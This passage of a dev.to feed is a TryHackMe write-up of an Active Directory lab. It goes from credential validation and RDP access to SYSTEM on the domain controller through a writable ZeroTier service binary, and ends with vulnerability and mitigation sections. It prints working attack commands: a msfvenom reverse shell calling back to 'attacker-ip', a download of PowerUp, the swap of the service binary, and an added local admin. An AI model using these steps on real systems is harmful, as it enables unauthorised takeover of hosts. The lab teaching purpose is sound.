&lt;h3&gt;
  
  
  Validating bitbucket
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; littleredbucket
nxc ldap machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; littleredbucket
nxc winrm machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; littleredbucket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same pattern as &lt;code&gt;nik&lt;/code&gt; - valid on SMB/LDAP, not on WinRM. Checked group membership:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'littleredbucket'&lt;/span&gt; get membership bitbucket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Users
Remote Desktop Users
Domain Users
Password-Policy-Exemption
sensitive-account
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Remote Desktop Users&lt;/strong&gt; is the important one here - &lt;code&gt;bitbucket&lt;/code&gt; may not have WinRM, but it should be able to RDP straight in.&lt;/p&gt;

&lt;h3&gt;
  
  
  A side quest that didn't pay off: the Contractor group
&lt;/h3&gt;

&lt;p&gt;While enumerating groups, the &lt;code&gt;Contractor&lt;/code&gt; group's description field stood out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'littleredbucket'&lt;/span&gt; get search &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="s1"&gt;'(description=*)'&lt;/span&gt; &lt;span class="nt"&gt;--attr&lt;/span&gt; description
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;distinguishedName: CN=Contractor,OU=Employees,OU=Staff,DC=LAB,DC=ENTERPRISE,DC=THM
description: Change password from Password123!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the &lt;code&gt;contractor-temp&lt;/code&gt; account's default password sitting in plaintext in an AD description field. Tried it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb enterprise.thm &lt;span class="nt"&gt;-u&lt;/span&gt; contractor-temp &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password123!'&lt;/span&gt;
nxc ldap enterprise.thm &lt;span class="nt"&gt;-u&lt;/span&gt; contractor-temp &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password123!'&lt;/span&gt;
nxc winrm enterprise.thm &lt;span class="nt"&gt;-u&lt;/span&gt; contractor-temp &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password123!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Valid on SMB and LDAP, but &lt;strong&gt;not&lt;/strong&gt; on WinRM, and &lt;code&gt;contractor-temp&lt;/code&gt; isn't in Remote Desktop Users either - so this credential doesn't actually grant an interactive foothold. Worth knowing about, but not the intended path forward; &lt;code&gt;bitbucket&lt;/code&gt;'s RDP access was.&lt;/p&gt;




&lt;h2&gt;
  
  
  Foothold via RDP as bitbucket
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xfreerdp3 /v:LAB-DC.LAB.ENTERPRISE.THM /u:bitbucket /p:&lt;span class="s1"&gt;'littleredbucket'&lt;/span&gt; /d:LAB.ENTERPRISE.THM /w:1280 /h:800 /dynamic-resolution /cert:ignore
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That dropped straight into a full interactive desktop session on &lt;code&gt;LAB-DC&lt;/code&gt; as &lt;code&gt;bitbucket&lt;/code&gt;, with a text file named &lt;code&gt;user&lt;/code&gt; sitting on the desktop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;type user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Confirming the foothold from a shell
&lt;/h3&gt;

&lt;p&gt;Opened a &lt;code&gt;cmd.exe&lt;/code&gt; window inside the RDP session to poke around more comfortably:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami
whoami&lt;/span&gt; /all
net user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (trimmed)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lab-enterprise\bitbucket

Group Name                                 Type             SID
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555
BUILTIN\Users                              Alias            S-1-5-32-545
LAB-ENTERPRISE\sensitive-account           Group            ...-1115
LAB-ENTERPRISE\Password-Policy-Exemption   Group            ...-1113

User accounts for \\LAB-DC
-------------------------------------------------------------------------------
Administrator  banana  bitbucket  Cake  joiner  korone  krbtgt  spooks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Just a normal domain user, no special local privileges yet - the escalation path had to come from somewhere on the box itself.&lt;/p&gt;




&lt;h2&gt;
  
  
  Privilege escalation - a leftover ZeroTier install
&lt;/h2&gt;

&lt;p&gt;Instead of running an automated privesc script blind, manually walked through &lt;code&gt;Program Files&lt;/code&gt; and &lt;code&gt;Program Files (x86)&lt;/code&gt; looking for anything that didn't belong on a stock DC image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"Program Files (x86)"&lt;/span&gt;
&lt;span class="nb"&gt;dir&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything else was expected Windows/.NET/Google noise, except one directory that had no business being on a domain controller:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;03/14/2021  05:36 PM    &amp;lt;DIR&amp;gt;          Zero Tier
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"Zero Tier&lt;/span&gt;&lt;span class="se"&gt;\Z&lt;/span&gt;&lt;span class="s2"&gt;ero Tier One"&lt;/span&gt;
&lt;span class="nb"&gt;dir&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;03/14/2021  05:32 PM             1,465 regid.2010-01.com.zerotier_ZeroTierOne.swidtag
12/05/2014  11:52 AM         9,594,056 ZeroTier One.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checked the corresponding Windows service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name          : zerotieroneservice
Status        : Stopped
StartType     : Automatic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Automatic-start service, currently stopped, running as &lt;code&gt;LocalSystem&lt;/code&gt; per its config. That combination (a service that runs as SYSTEM, tied to a binary sitting in a directory a low-privileged user might be able to write to) is a well-known Windows privilege escalation pattern.&lt;/p&gt;

&lt;h3&gt;
  
  
  Confirming the weak permissions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (relevant lines)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Owner  : NT AUTHORITY\SYSTEM
Access : BUILTIN\Users Allow  Write, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;There it is: &lt;code&gt;BUILTIN\Users&lt;/code&gt; - a group &lt;code&gt;bitbucket&lt;/code&gt; is a member of - has &lt;strong&gt;Write&lt;/strong&gt; access to the service's install directory, even though the service itself runs as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;. That means any authenticated user can drop a new file into that folder, including one that replaces the legitimate &lt;code&gt;ZeroTier One.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To confirm this programmatically instead of relying only on manual &lt;code&gt;Get-Acl&lt;/code&gt; reading, pulled down PowerUp.ps1 from PowerSploit and loaded it (the first download attempt actually saved an HTML error page instead of the raw script, which is why the first &lt;code&gt;Import-Module&lt;/code&gt; attempt failed with CSS/JS parse errors - re-downloading the raw file fixed it):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://attacker-ip/PowerUp.ps1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;powerup.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\powerup.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get-ModifiableServiceFile&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-UnquotedService&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Relevant PowerUp output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ServiceName                     : zerotieroneservice
Path                             : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFile                  : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFilePermissions       : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'zerotieroneservice'
CanRestart                      : True
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;PowerUp independently confirms the exact same thing: &lt;code&gt;BUILTIN\Users&lt;/code&gt; can modify the service's binary, the service runs as &lt;code&gt;LocalSystem&lt;/code&gt;, and it can be restarted without needing a reboot.&lt;/p&gt;

&lt;h3&gt;
  
  
  Method A - manual reverse shell as SYSTEM
&lt;/h3&gt;

&lt;p&gt;Generated a Windows reverse shell payload with msfvenom:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/x64/shell_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;attacker-ip &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444 &lt;span class="nt"&gt;-f&lt;/span&gt; exe &lt;span class="nt"&gt;-o&lt;/span&gt; rev.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulled it onto the target and swapped it in for the legitimate service binary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://attacker-ip/rev.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rev.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Stop-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Copy-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe.bak"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Copy-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\rev.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Restart-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With a &lt;code&gt;nc&lt;/code&gt; listener running on the attacker box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;listening on [any] 4444 ...
connect to [attacker-ip] from (UNKNOWN) [machine-ip] 50818
Microsoft Windows [Version 10.0.17763.1817]

C:\Windows\system32&amp;gt;whoami
nt authority\system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Service Control Manager started "ZeroTier One.exe" exactly as configured - except it's now the reverse shell payload, and because the service is configured to run as &lt;code&gt;LocalSystem&lt;/code&gt;, the shell comes back as &lt;code&gt;nt authority\system&lt;/code&gt; straight away.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop
&lt;span class="nb"&gt;type &lt;/span&gt;root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Method B - the PowerUp way (adds a local admin instead)
&lt;/h3&gt;

&lt;p&gt;The same weak ACL can also be abused with PowerUp's own helper, which doesn't need a payload to be generated or uploaded at all - it patches the binary in place to run a &lt;code&gt;net user /add&lt;/code&gt; + group-add command instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Install-ServiceBinary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ServiceName        Path                                                            Command
-----------         ----                                                            -------
zerotieroneservice  C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe  net user john Password123! /add &amp;amp; ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Restart-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The restart itself reported a failure (&lt;code&gt;Failed to start service&lt;/code&gt;) - but the embedded commands still executed once before the service process died, which was enough:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;localgroup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Administrators&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Administrators
Administrator
Domain Admins
ENTERPRISE\Enterprise Admins
john
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;john&lt;/code&gt; is now a local Administrator. Logging in as that new account over WinRM (which &lt;code&gt;bitbucket&lt;/code&gt; never had access to) confirms full admin rights:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; john &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password123!'&lt;/span&gt;
&lt;span class="nb"&gt;whoami&lt;/span&gt; /all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (trimmed)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lab-enterprise\john
BUILTIN\Administrators   Alias   S-1-5-32-544   Mandatory group, Enabled by default, Enabled group, Group owner
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop
&lt;span class="nb"&gt;type &lt;/span&gt;root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same flag as the SYSTEM-shell method, confirming both routes land on full compromise of the domain controller.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Secrets in git history.&lt;/strong&gt; A commit that "removed" hardcoded AD credentials from a script only blanked the values in a new commit - the credentials remained fully recoverable in the prior commit, which is still part of the repo's history and pushed to a public GitHub org.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OSINT trail from a fake login page to a real GitHub org.&lt;/strong&gt; A cloned Atlassian login page with a company-specific banner ("we're moving to GitHub") leaked the existence and rough naming convention of a real, public source-control org, which in turn led to a real employee's public repos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak service-account password.&lt;/strong&gt; The &lt;code&gt;bitbucket&lt;/code&gt; service account (Kerberoastable via its &lt;code&gt;HTTP/LAB-DC&lt;/code&gt; SPN) had a short, guessable password that cracked against rockyou in under a second.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Password reused in an AD description field.&lt;/strong&gt; The &lt;code&gt;Contractor&lt;/code&gt; group's &lt;code&gt;description&lt;/code&gt; attribute contained a default password in plaintext, readable by any authenticated (or even null-session) user with LDAP read access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Writable service binary / install directory running as SYSTEM.&lt;/strong&gt; The &lt;code&gt;zerotieroneservice&lt;/code&gt; service ran as &lt;code&gt;LocalSystem&lt;/code&gt; but its install directory granted &lt;code&gt;BUILTIN\Users&lt;/code&gt; write access, letting any authenticated user - domain or local - replace the service binary and have it executed as SYSTEM on next start.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Full port scan (missed by the default top-1000 scan) reveals a Bitbucket-styled login page on port 7990 that is actually a static clone of Atlassian's real login page with a custom "we're moving to GitHub" banner.&lt;/li&gt;
&lt;li&gt;Google dorking for the company name against &lt;code&gt;site:github.com&lt;/code&gt; finds a real public GitHub org, whose &lt;code&gt;About-Us&lt;/code&gt; repo and people listing lead to an employee account (&lt;code&gt;Nik-enterprise-dev&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;That employee's &lt;code&gt;mgmtScript.ps1&lt;/code&gt; repo has a git history entry that "blanks out" hardcoded AD credentials in a new commit - the original commit with &lt;code&gt;nik:ToastyBoi!&lt;/code&gt; in plaintext is still fully recoverable.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;nik&lt;/code&gt;'s credentials authenticate over SMB/LDAP (no WinRM) and are used to enumerate the domain, including finding a Kerberoastable &lt;code&gt;bitbucket&lt;/code&gt; service account via its SPN.&lt;/li&gt;
&lt;li&gt;Kerberoasting &lt;code&gt;bitbucket&lt;/code&gt; and cracking the resulting TGS ticket with rockyou recovers &lt;code&gt;bitbucket:littleredbucket&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;bitbucket&lt;/code&gt; is a member of &lt;strong&gt;Remote Desktop Users&lt;/strong&gt;, granting an interactive RDP session and the user flag.&lt;/li&gt;
&lt;li&gt;Manual enumeration of &lt;code&gt;Program Files (x86)&lt;/code&gt; on the DC finds a leftover ZeroTier install whose service (&lt;code&gt;zerotieroneservice&lt;/code&gt;, running as &lt;code&gt;LocalSystem&lt;/code&gt;) has an install directory writable by &lt;code&gt;BUILTIN\Users&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Replacing the service binary (either with a custom reverse-shell payload, or via PowerUp's &lt;code&gt;Install-ServiceBinary&lt;/code&gt; helper that adds a local admin) and restarting the service executes attacker-controlled code as SYSTEM, yielding full compromise of the domain controller and the root flag.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never commit credentials to source control, even temporarily. If they ever were, rotate them immediately and treat the repository's entire history as compromised - rewriting history or deleting the file in a later commit is not sufficient, since old commits (and any forks or clones already made) still contain the secret.&lt;/li&gt;
&lt;li&gt;Avoid publishing internal tooling, scripts, or "reminder" banners that reveal internal migration plans, tooling names, or organizational structure to anyone who can reach an internet-facing login page.&lt;/li&gt;
&lt;li&gt;Enforce strong, unique passwords for all service accounts, and treat Kerberoastable accounts (anything with an SPN) as especially high-value, since any authenticated domain user can request and offline-crack their tickets without touching the account directly. Consider &lt;code&gt;gMSA&lt;/code&gt; accounts, which use long random passwords automatically rotated by AD.&lt;/li&gt;
&lt;li&gt;Never store passwords or password hints in AD attributes such as &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;info&lt;/code&gt;, or similar - these are readable by any user with basic LDAP read access, including unauthenticated/null sessions in many default configurations.&lt;/li&gt;
&lt;li&gt;Audit local group memberships (especially Remote Desktop Users and Administrators) regularly, and apply least privilege - a service account like &lt;code&gt;bitbucket&lt;/code&gt; likely doesn't need interactive desktop access at all.&lt;/li&gt;
&lt;li&gt;Regularly audit file and folder ACLs on anything referenced by a service &lt;code&gt;binPath&lt;/code&gt;, especially services that run as &lt;code&gt;LocalSystem&lt;/code&gt;. &lt;code&gt;BUILTIN\Users&lt;/code&gt; (or any low-privileged group) should never have write access to a SYSTEM-run service's binary or its containing directory. Remove unused/leftover third-party software (like this ZeroTier install) entirely rather than leaving it installed and forgotten.&lt;/li&gt;
&lt;li&gt;Quote all service binary paths containing spaces, and validate service configurations after any software installation or removal.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe : Fool's Mate Revenge</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Fri, 24 Jul 2026 09:11:44 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-fools-mate-revenge-1ge8</link>
      <guid>https://dev.to/exploitnotes/tryhackme-fools-mate-revenge-1ge8</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;This is the sequel to the original Endgame Trainer box. The developer clearly read that writeup - the client-side "don't let the player actually win" gate is gone entirely, and the win condition is now enforced server-side through a &lt;code&gt;session.config.unlocked&lt;/code&gt; flag that has to be true before &lt;code&gt;/api/move&lt;/code&gt; will hand back the flag on checkmate. Playing the winning move directly against the API (the trick that worked last time) now just returns a taunting "no reward for you" message.&lt;/p&gt;

